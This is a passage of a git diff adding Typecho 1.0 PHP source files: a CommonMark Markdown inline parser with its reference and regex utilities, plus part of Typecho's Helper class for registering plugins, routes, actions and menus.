parseEmphasis(CommonMark_Util_ArrayCollection $inlines) + { + $startPos = $this->pos; + $firstClose = 0; + $nxt = $this->peek(); + if ($nxt == '*' || $nxt == '_') { + $c = $nxt; + } else { + return 0; + } + + // Get opening delimiters + $res = $this->scanDelims($c); + $numDelims = $res['numDelims']; + $this->pos += $numDelims; + + // We provisionally add a literal string. If we match appropriate + // closing delimiters, we'll change this to Strong or Emph. + $inlines->add(CommonMark_Element_InlineCreator::createString(substr($this->subject, $this->pos - $numDelims, $numDelims))); + // Record the position of this opening delimiter: + $delimPos = $inlines->count() - 1; + + if (!$res['canOpen'] || $numDelims === 0) { + return 0; + } + + $firstCloseDelims = 0; + switch ($numDelims) { + case 1: // we started with * or _ + while (true) { + $res = $this->scanDelims($c); + if ($res['numDelims'] >= 1 && $res['canClose']) { + $this->pos += 1; + // Convert the inline at delimpos, currently a string with the delim, + // into an Emph whose contents are the succeeding inlines + $inlines->get($delimPos)->setType(CommonMark_Element_InlineElement::TYPE_EMPH); + $inlines->get($delimPos)->setContents($inlines->slice($delimPos + 1)); + $inlines->splice($delimPos + 1); + break; + } else { + if ($this->parseInline($inlines) === 0) { + break; + } + } + } + + return ($this->pos - $startPos); + + case 2: // We started with ** or __ + while (true) { + $res = $this->scanDelims($c); + if ($res['numDelims'] >= 2 && $res['canClose']) { + $this->pos += 2; + $inlines->get($delimPos)->setType(CommonMark_Element_InlineElement::TYPE_STRONG); + $inlines->get($delimPos)->setContents($inlines->slice($delimPos + 1)); + $inlines->splice($delimPos + 1); + break; + } else { + if ($this->parseInline($inlines) === 0) { + break; + } + } + } + + return ($this->pos - $startPos); + + case 3: // We started with *** or ___ + while (true) { + $res = $this->scanDelims($c); + if ($res['numDelims'] >= 1 && $res['numDelims'] <= 3 && $res['canClose'] && $res['numDelims'] != $firstCloseDelims) { + if ($firstCloseDelims === 1 && $numDelims > 2) { + $res['numDelims'] = 2; + } elseif ($firstCloseDelims === 2) { + $res['numDelims'] = 1; + } elseif ($res['numDelims'] === 3) { + // If we opened with ***, then we interpret *** as ** followed by * + // giving us + $res['numDelims'] = 1; + } + + $this->pos += $res['numDelims']; + + if ($firstClose > 0) { // if we've already passed the first closer: + $targetInline = $inlines->get($delimPos); + if ($firstCloseDelims === 1) { + $targetInline->setType(CommonMark_Element_InlineElement::TYPE_STRONG); + $targetInline->setContents( + array( + CommonMark_Element_InlineCreator::createEmph( + $inlines->slice($delimPos + 1, $firstClose - $delimPos - 1) + ) + ) + ); + } else { + $targetInline->setType(CommonMark_Element_InlineElement::TYPE_EMPH); + $targetInline->setContents( + array( + CommonMark_Element_InlineCreator::createStrong( + $inlines->slice($delimPos + 1, $firstClose - $delimPos - 1) + ) + ) + ); + } + + $targetInline->setContents($targetInline->getContents() + $inlines->slice($firstClose + 1)); + $inlines->splice($delimPos + 1); + break; + } else { + // this is the first closer; for now, add literal string; + // we'll change this when he hit the second closer + $str = substr($this->subject, $this->pos - $res['numDelims'], $this->pos); + $inlines->add(CommonMark_Element_InlineCreator::createString($str)); + $firstClose = $inlines->count() - 1; + $firstCloseDelims = $res['numDelims']; + } + } else { + // Parse another inline element, til we hit the end + if ($this->parseInline($inlines) === 0) { + break; + } + } + } + + return ($this->pos - $startPos); + } + + return 0; + } + + /** + * Attempt to parse link title (sans quotes) + * + * @return null|string The string, or null if no match + */ + protected function parseLinkTitle() + { + if ($title = $this->match(CommonMark_Util_RegexHelper::getInstance()->getLinkTitleRegex())) { + // Chop off quotes from title and unescape + return CommonMark_Util_RegexHelper::unescape(substr($title, 1, strlen($title) - 2)); + } else { + return null; + } + } + + /** + * Attempt to parse link destination + * + * @return null|string The string, or null if no match + */ + protected function parseLinkDestination() + { + if ($res = $this->match(CommonMark_Util_RegexHelper::getInstance()->getLinkDestinationBracesRegex())) { + // Chop off surrounding <..>: + return CommonMark_Util_RegexHelper::unescape(substr($res, 1, strlen($res) - 2)); + } else { + $res = $this->match(CommonMark_Util_RegexHelper::getInstance()->getLinkDestinationRegex()); + if ($res !== null) { + return CommonMark_Util_RegexHelper::unescape($res); + } else { + return null; + } + } + } + + /** + * @return int + */ + protected function parseLinkLabel() + { + if ($this->peek() != '[') { + return 0; + } + + $startPos = $this->pos; + $nestLevel = 0; + if ($this->labelNestLevel > 0) { + // If we've already checked to the end of this subject + // for a label, even with a different starting [, we + // know we won't find one here and we can just return. + // This avoids lots of backtracking. + // Note: nest level 1 would be: [foo [bar] + // nest level 2 would be: [foo [bar [baz] + $this->labelNestLevel--; + + return 0; + } + + $this->pos++; // Advance past [ + while (($c = $this->peek()) !== null && ($c != ']' || $nestLevel > 0)) { + switch ($c) { + case '`': + $this->parseBackticks(new CommonMark_Util_ArrayCollection()); + break; + case '<': + $this->parseAutolink(new CommonMark_Util_ArrayCollection()) || $this->parseHtmlTag( + new CommonMark_Util_ArrayCollection() + ) || $this->parseString(new CommonMark_Util_ArrayCollection()); // TODO: Does PHP support this use of "||"? + break; + case '[': // nested [] + $nestLevel++; + $this->pos++; + break; + case ']': //nested [] + $nestLevel--; + $this->pos++; + break; + case '\\': + $this->parseEscaped(new CommonMark_Util_ArrayCollection()); + break; + default: + $this->parseString(new CommonMark_Util_ArrayCollection()); + } + } + + if ($c === ']') { + $this->labelNestLevel = 0; + $this->pos++; // advance past ] + + return $this->pos - $startPos; + } else { + if ($c === null) { + $this->labelNestLevel = $nestLevel; + } + + $this->pos = $startPos; + + return 0; + } + } + + /** + * Parse raw link label, including surrounding [], and return + * inline contents. + * + * @param string $s + * + * @return ArrayCollection|InlineElementInterface[] Inline contents + */ + private function parseRawLabel($s) + { + // note: parse without a refmap; we don't want links to resolve + // in nested brackets! + $parser = new self(); + $substring = substr($s, 1, strlen($s) - 2); + + return $parser->parse($substring, new CommonMark_Reference_ReferenceMap()); + } + + /** + * Attempt to parse a link. If successful, add the link to inlines. + * @param ArrayCollection $inlines + * + * @return int + */ + protected function parseLink(CommonMark_Util_ArrayCollection $inlines) + { + $startPos = $this->pos; + $n = $this->parseLinkLabel(); + if ($n === 0) { + return 0; + } + + $rawLabel = substr($this->subject, $startPos, $n); + + // if we got this far, we've parsed a label. + // Try to parse an explicit link: [label](url "title") + if ($this->peek() == '(') { + $this->pos++; + if ($this->spnl() && + (($dest = $this->parseLinkDestination()) !== null) && + $this->spnl() + ) { + // make sure there's a space before the title: + if (preg_match('/^\\s/', $this->subject[$this->pos - 1])) { + $title = $this->parseLinkTitle(); + $title = $title ? $title : ''; + } else { + $title = null; + } + + if ($this->spnl() && $this->match('/^\\)/')) { + $inlines->add(CommonMark_Element_InlineCreator::createLink($dest, $this->parseRawLabel($rawLabel), $title)); + + return $this->pos - $startPos; + } + } + + $this->pos = $startPos; + + return 0; + } + + // If we're here, it wasn't an explicit link. Try to parse a reference link. + // first, see if there's another label + $savePos = $this->pos; + $this->spnl(); + $beforeLabel = $this->pos; + $n = $this->parseLinkLabel(); + if ($n == 2) { + // empty second label + $refLabel = $rawLabel; + } elseif ($n > 0) { + $refLabel = substr($this->subject, $beforeLabel, $n); + } else { + $this->pos = $savePos; + $refLabel = $rawLabel; + } + + // Lookup rawLabel in refmap + if ($link = $this->refmap->getReference($refLabel)) { + $inlines->add( + CommonMark_Element_InlineCreator::createLink($link->getDestination(), $this->parseRawLabel($rawLabel), $link->getTitle()) + ); + + return $this->pos - $startPos; + } + + // Nothing worked, rewind: + $this->pos = $startPos; + + return 0; + } + + /** + * Attempt to parse an entity, adding to inlines if successful + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int + */ + protected function parseEntity(CommonMark_Util_ArrayCollection $inlines) + { + if ($m = $this->match('/^&(?:#x[a-f0-9]{1,8}|#[0-9]{1,8}|[a-z][a-z0-9]{1,31});/i')) { + $inlines->add(CommonMark_Element_InlineCreator::createEntity($m)); + + return strlen($m); + } + + return 0; + } + + /** + * Parse a run of ordinary characters, or a single character with + * a special meaning in markdown, as a plain string, adding to inlines. + * + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int + */ + protected function parseString(CommonMark_Util_ArrayCollection $inlines) + { + if ($m = $this->match(CommonMark_Util_RegexHelper::getInstance()->getMainRegex())) { + $inlines->add(CommonMark_Element_InlineCreator::createString($m)); + + return strlen($m); + } + + return 0; + } + + /** + * Parse a newline. If it was preceded by two spaces, return a hard + * line break; otherwise a soft line break. + * + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int + */ + protected function parseNewline(CommonMark_Util_ArrayCollection $inlines) + { + if ($this->peek() == "\n") { + $this->pos++; + $last = $inlines->last(); + if ($last && $last->getType() == CommonMark_Element_InlineElement::TYPE_STRING && substr($last->getContents(), -2) == ' ') { + $last->setContents(rtrim($last->getContents(), ' ')); + $inlines->add(CommonMark_Element_InlineCreator::createHardbreak()); + } else { + if ($last && $last->getType() == CommonMark_Element_InlineElement::TYPE_STRING && substr( + $last->getContents(), + -1 + ) == ' ' + ) { + $last->setContents(substr($last->getContents(), 0, -1)); + } + $inlines->add(CommonMark_Element_InlineCreator::createSoftbreak()); + } + + return 1; + } + + return 0; + } + + /** + * @param ArrayCollection $inlines + * + * @return int + * + * @throws \RuntimeException + */ + protected function parseImage(CommonMark_Util_ArrayCollection $inlines) + { + if ($this->match('/^!/')) { + $n = $this->parseLink($inlines); + if ($n === 0) { + $inlines->add(CommonMark_Element_InlineCreator::createString('!')); + + return 1; + } + + /** @var InlineElementInterface $last */ + $last = $inlines->last(); + + if ($last && $last->getType() == CommonMark_Element_InlineElement::TYPE_LINK) { + $last->setType(CommonMark_Element_InlineElement::TYPE_IMAGE); + + return $n + 1; + } else { + // This shouldn't happen + throw new RuntimeException('Unknown error occurred while attempting to parse an image'); + } + } else { + return 0; + } + } + + /** + * Parse the next inline element in subject, advancing subject position + * and adding the result to 'inlines'. + * + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int + */ + protected function parseInline(CommonMark_Util_ArrayCollection $inlines) + { + $c = $this->peek(); + $res = null; + + switch ($c) { + case "\n": + $res = $this->parseNewline($inlines); + break; + case '\\': + $res = $this->parseEscaped($inlines); + break; + case '`': + $res = $this->parseBackticks($inlines); + break; + case '*': + case '_': + $res = $this->parseEmphasis($inlines); + break; + case '[': + $res = $this->parseLink($inlines); + break; + case '!': + $res = $this->parseImage($inlines); + break; + case '<': + $res = $this->parseAutolink($inlines); + $res = $res ? $res : $this->parseHtmlTag($inlines); + break; + case '&': + $res = $this->parseEntity($inlines); + break; + default: + // Nothing + } + + return $res ? $res : $this->parseString($inlines); + } + + /** + * Parse s as a list of inlines, using refmap to resolve references. + * + * @param string $s + * @param ReferenceMap $refMap + * + * @return ArrayCollection|InlineElementInterface[] + */ + protected function parseInlines($s, CommonMark_Reference_ReferenceMap $refMap) + { + $this->subject = $s; + $this->pos = 0; + $this->refmap = $refMap; + $inlines = new CommonMark_Util_ArrayCollection(); + while ($this->parseInline($inlines)) { + ; + } + + return $inlines; + } + + /** + * @param string $s + * @param ReferenceMap $refMap + * + * @return ArrayCollection|Element\InlineElementInterface[] + */ + public function parse($s, CommonMark_Reference_ReferenceMap $refMap) + { + return $this->parseInlines($s, $refMap); + } + + /** + * Attempt to parse a link reference, modifying refmap. + * @param string $s + * @param ReferenceMap $refMap + * + * @return int + */ + public function parseReference($s, CommonMark_Reference_ReferenceMap $refMap) + { + $this->subject = $s; + $this->pos = 0; + $startPos = $this->pos; + + // label: + $matchChars = $this->parseLinkLabel(); + if ($matchChars === 0) { + return 0; + } else { + $label = substr($this->subject, 0, $matchChars); + } + + // colon: + if ($this->peek() === ':') { + $this->pos++; + } else { + $this->pos = $startPos; + + return 0; + } + + // link url + $this->spnl(); + + $destination = $this->parseLinkDestination(); + if ($destination === null || strlen($destination) === 0) { + $this->pos = $startPos; + + return 0; + } + + $beforeTitle = $this->pos; + $this->spnl(); + $title = $this->parseLinkTitle(); + if ($title === null) { + $title = ''; + // rewind before spaces + $this->pos = $beforeTitle; + } + + // make sure we're at line end: + if ($this->match('/^ *(?:\n|$)/') === null) { + $this->pos = $startPos; + + return 0; + } + + if (!$refMap->contains($label)) { + $refMap->addReference(new CommonMark_Reference_Reference($label, $destination, $title)); + } + + return $this->pos - $startPos; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Reference/Reference.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Reference/Reference.php new file mode 100755 index 000000000..40ab7484c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Reference/Reference.php @@ -0,0 +1,92 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + + +/** + * Link reference + */ +class CommonMark_Reference_Reference +{ + /** + * @var string + */ + protected $label; + + /** + * @var string + */ + protected $destination; + + /** + * @var string + */ + protected $title; + + /** + * Constructor + * + * @param string $label + * @param string $destination + * @param string $title + */ + public function __construct($label, $destination, $title) + { + $this->label = self::normalizeReference($label); + $this->destination = $destination; + $this->title = $title; + } + + /** + * @return string + */ + public function getLabel() + { + return $this->label; + } + + /** + * @return string + */ + public function getDestination() + { + return $this->destination; + } + + /** + * @return string + */ + public function getTitle() + { + return $this->title; + } + + /** + * Normalize reference label + * + * This enables case-insensitive label matching + * + * @param string $string + * + * @return string + */ + public static function normalizeReference($string) + { + // Collapse internal whitespace to single space and remove + // leading/trailing whitespace + $string = preg_replace('/\s+/', '', trim($string)); + + return Typecho_Common::strToUpper($string, 'UTF-8'); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Reference/ReferenceMap.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Reference/ReferenceMap.php new file mode 100755 index 000000000..c6b23c544 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Reference/ReferenceMap.php @@ -0,0 +1,66 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +/** + * A collection of references, indexed by label + */ +class CommonMark_Reference_ReferenceMap +{ + /** + * @var Reference[] + */ + protected $references = array(); + + /** + * @param Reference $reference + * + * @return $this + */ + public function addReference(CommonMark_Reference_Reference $reference) + { + $key = CommonMark_Reference_Reference::normalizeReference($reference->getLabel()); + $this->references[$key] = $reference; + + return $this; + } + + /** + * @param string $label + * + * @return bool + */ + public function contains($label) + { + $label = CommonMark_Reference_Reference::normalizeReference($label); + + return isset($this->references[$label]); + } + + /** + * @param string $label + * + * @return Reference|null + */ + public function getReference($label) + { + $label = CommonMark_Reference_Reference::normalizeReference($label); + + if (isset($this->references[$label])) { + return $this->references[$label]; + } else { + return null; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Util/ArrayCollection.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Util/ArrayCollection.php new file mode 100755 index 000000000..68dbc73c5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Util/ArrayCollection.php @@ -0,0 +1,225 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +/** + * Array collection + * + * Provides a wrapper around a standard PHP array. + */ +class CommonMark_Util_ArrayCollection implements IteratorAggregate, Countable, ArrayAccess +{ + /** + * @var array + */ + private $elements; + + /** + * Constructor + * @param array $elements + */ + public function __construct(array $elements = array()) + { + $this->elements = $elements; + } + + /** + * @return mixed + */ + public function first() + { + return reset($this->elements); + } + + /** + * @return mixed + */ + public function last() + { + return end($this->elements); + } + + /** + * Retrieve an external iterator + * + * @return \Traversable + */ + public function getIterator() + { + return new ArrayIterator($this->elements); + } + + /** + * @param mixed $element + * + * @return bool + */ + public function add($element) + { + $this->elements[] = $element; + + return true; + } + + /** + * @param mixed $key + * @param mixed $value + */ + public function set($key, $value) + { + $this->elements[$key] = $value; + } + + /** + * @param mixed $key + * + * @return mixed|null + */ + public function get($key) + { + return isset($this->elements[$key]) ? $this->elements[$key] : null; + } + + /** + * @param mixed $key + * + * @return mixed|null + */ + public function remove($key) + { + if (!isset($this->elements[$key]) && !array_key_exists($key, $this->elements)) { + return null; + } + + $removed = $this->elements[$key]; + unset($this->elements[$key]); + + return $removed; + } + + /** + * @return bool + */ + public function isEmpty() + { + return empty($this->elements); + } + + /** + * @param mixed $key + * + * @return bool + */ + public function containsKey($key) + { + return isset($this->elements[$key]) || array_key_exists($key, $this->elements); + } + + /** + * Count elements of an object + * + * @return int The count as an integer. + */ + public function count() + { + return count($this->elements); + } + + /** + * Whether an offset exists + * + * @param mixed $offset An offset to check for. + * + * @return boolean true on success or false on failure. + */ + public function offsetExists($offset) + { + return $this->containsKey($offset); + } + + /** + * Offset to retrieve + * @param mixed $offset The offset to retrieve. + * + * @return mixed|null + */ + public function offsetGet($offset) + { + return $this->get($offset); + } + + /** + * Offset to set + * @param mixed $offset The offset to assign the value to. + * @param mixed $value The value to set. + * + * @return void + */ + public function offsetSet($offset, $value) + { + if (!isset($offset)) { + $this->add($value); + } else { + $this->set($offset, $value); + } + } + + /** + * Offset to unset + * @param mixed $offset The offset to unset. + * + * @return void + */ + public function offsetUnset($offset) + { + $this->remove($offset); + } + + /** + * Returns a subset of the array + * @param int $offset + * @param int|null $length + * + * @return array + */ + public function slice($offset, $length = null) + { + return array_slice($this->elements, $offset, $length, true); + } + + /** + * Remove a subset of the array + * + * The removed part will be returned + * + * @param int $offset + * @param int|null $length + * @param array $replacement + * + * @return array The removed subset + */ + public function splice($offset, $length = null, $replacement = array()) + { + if ($length === null) { + $length = count($this->elements); + } + + return array_splice($this->elements, $offset, $length, $replacement); + } + + /** + * @return array + */ + public function toArray() + { + return $this->elements; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Util/RegexHelper.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Util/RegexHelper.php new file mode 100755 index 000000000..6621ecace --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Util/RegexHelper.php @@ -0,0 +1,252 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +/** + * Provides regular expressions and utilties for parsing Markdown + * + * Singletons are generally bad, but it allows us to build the regexes once (and only once). + */ +class CommonMark_Util_RegexHelper +{ + const ESCAPABLE = 0; + const ESCAPED_CHAR = 1; + const IN_DOUBLE_QUOTES = 2; + const IN_SINGLE_QUOTES = 3; + const IN_PARENS = 4; + const REG_CHAR = 5; + const IN_PARENS_NOSP = 6; + const TAGNAME = 7; + const BLOCKTAGNAME = 8; + const ATTRIBUTENAME = 9; + const UNQUOTEDVALUE = 10; + const SINGLEQUOTEDVALUE = 11; + const DOUBLEQUOTEDVALUE = 12; + const ATTRIBUTEVALUE = 13; + const ATTRIBUTEVALUESPEC = 14; + const ATTRIBUTE = 15; + const OPENTAG = 16; + const CLOSETAG = 17; + const OPENBLOCKTAG = 18; + const CLOSEBLOCKTAG = 19; + const HTMLCOMMENT = 20; + const PROCESSINGINSTRUCTION = 21; + const DECLARATION = 22; + const CDATA = 23; + const HTMLTAG = 24; + const HTMLBLOCKOPEN = 25; + const LINK_TITLE = 26; + + const REGEX_ESCAPABLE = '[!"#$%&\'()*+,.\/:;<=>?@[\\\\\]^_`{|}~-]'; + + protected $regex = array(); + + static protected $instance; + + /** + * Constructor + */ + protected function __construct() + { + $this->buildRegexPatterns(); + } + + /** + * @return RegexHelper + */ + public static function getInstance() + { + if (self::$instance === null) { + self::$instance = new CommonMark_Util_RegexHelper(); + } + + return self::$instance; + } + + /** + * Builds the regular expressions required to parse Markdown + * + * We could hard-code them all as pre-built constants, but that would be more difficult to manage. + */ + protected function buildRegexPatterns() + { + $regex = array(); + $regex[self::ESCAPABLE] = self::REGEX_ESCAPABLE; + $regex[self::ESCAPED_CHAR] = '\\\\' . $regex[self::ESCAPABLE]; + $regex[self::IN_DOUBLE_QUOTES] = '"(' . $regex[self::ESCAPED_CHAR] . '|[^"\x00])*"'; + $regex[self::IN_SINGLE_QUOTES] = '\'(' . $regex[self::ESCAPED_CHAR] . '|[^\'\x00])*\''; + $regex[self::IN_PARENS] = '\\((' . $regex[self::ESCAPED_CHAR] . '|[^)\x00])*\\)'; + $regex[self::REG_CHAR] = '[^\\\\()\x00-\x20]'; + $regex[self::IN_PARENS_NOSP] = '\((' . $regex[self::REG_CHAR] . '|' . $regex[self::ESCAPED_CHAR] . ')*\)'; + $regex[self::TAGNAME] = '[A-Za-z][A-Za-z0-9]*'; + $regex[self::BLOCKTAGNAME] = '(?:article|header|aside|hgroup|iframe|blockquote|hr|body|li|map|button|object|canvas|ol|caption|output|col|p|colgroup|pre|dd|progress|div|section|dl|table|td|dt|tbody|embed|textarea|fieldset|tfoot|figcaption|th|figure|thead|footer|footer|tr|form|ul|h1|h2|h3|h4|h5|h6|video|script|style)'; + $regex[self::ATTRIBUTENAME] = '[a-zA-Z_:][a-zA-Z0-9:._-]*'; + $regex[self::UNQUOTEDVALUE] = '[^"\'=<>`\x00-\x20]+'; + $regex[self::SINGLEQUOTEDVALUE] = '\'[^\']*\''; + $regex[self::DOUBLEQUOTEDVALUE] = '"[^"]*"'; + $regex[self::ATTRIBUTEVALUE] = '(?:' . $regex[self::UNQUOTEDVALUE] . '|' . $regex[self::SINGLEQUOTEDVALUE] . '|' . $regex[self::DOUBLEQUOTEDVALUE] . ')'; + $regex[self::ATTRIBUTEVALUESPEC] = '(?:' . '\s*=' . '\s*' . $regex[self::ATTRIBUTEVALUE] . ')'; + $regex[self::ATTRIBUTE] = '(?:' . '\s+' . $regex[self::ATTRIBUTENAME] . $regex[self::ATTRIBUTEVALUESPEC] . '?)'; + $regex[self::OPENTAG] = '<' . $regex[self::TAGNAME] . $regex[self::ATTRIBUTE] . '*' . '\s*\/?>'; + $regex[self::CLOSETAG] = '<\/' . $regex[self::TAGNAME] . '\s*[>]'; + $regex[self::OPENBLOCKTAG] = '<' . $regex[self::BLOCKTAGNAME] . $regex[self::ATTRIBUTE] . '*' . '\s*\/?>'; + $regex[self::CLOSEBLOCKTAG] = '<\/' . $regex[self::BLOCKTAGNAME] . '\s*[>]'; + $regex[self::HTMLCOMMENT] = ''; + $regex[self::PROCESSINGINSTRUCTION] = '[<][?].*?[?][>]'; + $regex[self::DECLARATION] = ']*>'; + $regex[self::CDATA] = '])*\]\]>'; + $regex[self::HTMLTAG] = '(?:' . $regex[self::OPENTAG] . '|' . $regex[self::CLOSETAG] . '|' . $regex[self::HTMLCOMMENT] . '|' . + $regex[self::PROCESSINGINSTRUCTION] . '|' . $regex[self::DECLARATION] . '|' . $regex[self::CDATA] . ')'; + $regex[self::HTMLBLOCKOPEN] = '<(?:' . $regex[self::BLOCKTAGNAME] . '[\s\/>]' . '|' . + '\/' . $regex[self::BLOCKTAGNAME] . '[\s>]' . '|' . '[?!])'; + $regex[self::LINK_TITLE] = '^(?:"(' . $regex[self::ESCAPED_CHAR] . '|[^"\x00])*"' . + '|' . '\'(' . $regex[self::ESCAPED_CHAR] . '|[^\'\x00])*\'' . + '|' . '\((' . $regex[self::ESCAPED_CHAR] . '|[^)\x00])*\))'; + + $this->regex = $regex; + } + + /** + * Returns a partial regex + * + * It'll need to be wrapped with /.../ before use + * @param int $const + * + * @return string + */ + public function getPartialRegex($const) + { + return $this->regex[$const]; + } + + /** + * @return string + */ + public function getHtmlTagRegex() + { + return '/^' . $this->regex[self::HTMLTAG] . '/i'; + } + + /** + * @return string + */ + public function getHtmlBlockOpenRegex() + { + return '/^' . $this->regex[self::HTMLBLOCKOPEN] . '/i'; + } + + /** + * @return string + */ + public function getLinkTitleRegex() + { + return '/' . $this->regex[self::LINK_TITLE] . '/'; + } + + /** + * @return string + */ + public function getLinkDestinationRegex() + { + return '/^' . '(?:' . $this->regex[self::REG_CHAR] . '+|' . $this->regex[self::ESCAPED_CHAR] . '|' . $this->regex[self::IN_PARENS_NOSP] . ')*' . '/'; + } + + /** + * @return string + */ + public function getLinkDestinationBracesRegex() + { + return '/^(?:' . '[<](?:[^<>\\n\\\\\\x00]' . '|' . $this->regex[self::ESCAPED_CHAR] . '|' . '\\\\)*[>]' . ')/'; + } + + /** + * @return string + */ + public function getHRuleRegex() + { + return '/^(?:(?:\* *){3,}|(?:_ *){3,}|(?:- *){3,}) *$/'; + } + + /** + * Matches a character with a special meaning in markdown, + * or a string of non-special characters. + * + * @return string + */ + public function getMainRegex() + { + return '/^(?:[\n`\[\]\\\\!<&*_]|[^\n`\[\]\\\\!<&*_]+)/m'; + } + + /** + * Attempt to match a regex in string s at offset offset + * @param string $regex + * @param string $string + * @param int $offset + * + * @return int|null Index of match, or null + */ + public static function matchAt($regex, $string, $offset) + { + $matches = array(); + $string = substr($string, $offset); + if (!preg_match($regex, $string, $matches, PREG_OFFSET_CAPTURE)) { + return null; + } + + return $offset + $matches[0][1]; + } + + /** + * Functional wrapper around preg_match_all + * + * @param string $pattern + * @param string $subject + * @param int $offset + * + * @return array|null + */ + public static function matchAll($pattern, $subject, $offset = 0) + { + $matches = array(); + $subject = substr($subject, $offset); + preg_match_all($pattern, $subject, $matches, PREG_PATTERN_ORDER); + + $fullMatches = reset($matches); + if (empty($fullMatches)) { + return null; + } + + if (count($fullMatches) == 1) { + foreach ($matches as &$match) { + $match = reset($match); + } + } + + return !empty($matches) ? $matches : null; + } + + /** + * Replace backslash escapes with literal characters + * @param string $string + * + * @return string + */ + public static function unescape($string) + { + $allEscapedChar = '/\\\\(' . self::REGEX_ESCAPABLE . ')/'; + + return preg_replace($allEscapedChar, '$1', $string); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Helper.php b/Typecho/1.0/php-fpm/src/var/Helper.php new file mode 100755 index 000000000..d1079bc5e --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Helper.php @@ -0,0 +1,442 @@ +query($db->update('table.options') + ->rows(array('value' => serialize(Typecho_Plugin::export()))) + ->where('name = ?', 'plugins')); + } catch (Typecho_Plugin_Exception $e) { + //nothing to do + } + + $db->query($db->delete('table.options')->where('name = ?', 'plugin:' . $pluginName)); + } + + /** + * 导入语言项 + * + * @access public + * @param string $domain + * @return void + */ + public static function lang($domain) + { + $currentLang = Typecho_I18n::getLang(); + if ($currentLang) { + $currentLang = basename($currentLang); + $fileName = dirname(__FILE__) . '/' . $domain . '/lang/' . $currentLang; + if (file_exists($fileName)) { + Typecho_I18n::addLang($fileName); + } + } + } + + /** + * 增加路由 + * + * @access public + * @param string $name 路由名称 + * @param string $url 路由路径 + * @param string $widget 组件名称 + * @param string $action 组件动作 + * @param string $after 在某个路由后面 + * @return integer + */ + public static function addRoute($name, $url, $widget, $action = NULL, $after = NULL) + { + $routingTable = self::options()->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $pos = 0; + foreach ($routingTable as $key => $val) { + $pos ++; + + if ($key == $after) { + break; + } + } + + $pre = array_slice($routingTable, 0, $pos); + $next = array_slice($routingTable, $pos); + + $routingTable = array_merge($pre, array($name => array( + 'url' => $url, + 'widget' => $widget, + 'action' => $action + )), $next); + self::options()->routingTable = $routingTable; + + $db = Typecho_Db::get(); + return Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => serialize($routingTable)) + , $db->sql()->where('name = ?', 'routingTable')); + } + + /** + * 移除路由 + * + * @access public + * @param string $name 路由名称 + * @return integer + */ + public static function removeRoute($name) + { + $routingTable = self::options()->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + unset($routingTable[$name]); + self::options()->routingTable = $routingTable; + + $db = Typecho_Db::get(); + return Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => serialize($routingTable)) + , $db->sql()->where('name = ?', 'routingTable')); + } + + /** + * 增加action扩展 + * + * @access public + * @param string $actionName 需要扩展的action名称 + * @param string $widgetName 需要扩展的widget名称 + * @return integer + */ + public static function addAction($actionName, $widgetName) + { + $actionTable = unserialize(self::options()->actionTable); + $actionTable = empty($actionTable) ? array() : $actionTable; + $actionTable[$actionName] = $widgetName; + + $db = Typecho_Db::get(); + return Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => (self::options()->actionTable = serialize($actionTable))) + , $db->sql()->where('name = ?', 'actionTable')); + } + + /** + * 删除action扩展 + * + * @access public + * @param string $actionName + * @return Typecho_Widget + */ + public static function removeAction($actionName) + { + $actionTable = unserialize(self::options()->actionTable); + $actionTable = empty($actionTable) ? array() : $actionTable; + + if (isset($actionTable[$actionName])) { + unset($actionTable[$actionName]); + reset($actionTable); + } + + $db = Typecho_Db::get(); + return Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => (self::options()->actionTable = serialize($actionTable))) + , $db->sql()->where('name = ?', 'actionTable')); + } + + /** + * 增加一个菜单 + * + * @access public + * @param string $menuName 菜单名 + * @return integer + */ + public static function addMenu($menuName) + { + $panelTable = unserialize(self::options()->panelTable); + $panelTable['parent'] = empty($panelTable['parent']) ? array() : $panelTable['parent']; + $panelTable['parent'][] = $menuName; + + $db = Typecho_Db::get(); + Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => (self::options()->panelTable = serialize($panelTable))) + , $db->sql()->where('name = ?', 'panelTable')); + + end($panelTable['parent']); + return key($panelTable['parent']) + 10; + } + + /** + * 移除一个菜单 + * + * @access public + * @param string $menuName 菜单名 + * @return integer + */ + public static function removeMenu($menuName) + { + $panelTable = unserialize(self::options()->panelTable); + $panelTable['parent'] = empty($panelTable['parent']) ? array() : $panelTable['parent']; + + if (false !== ($index = 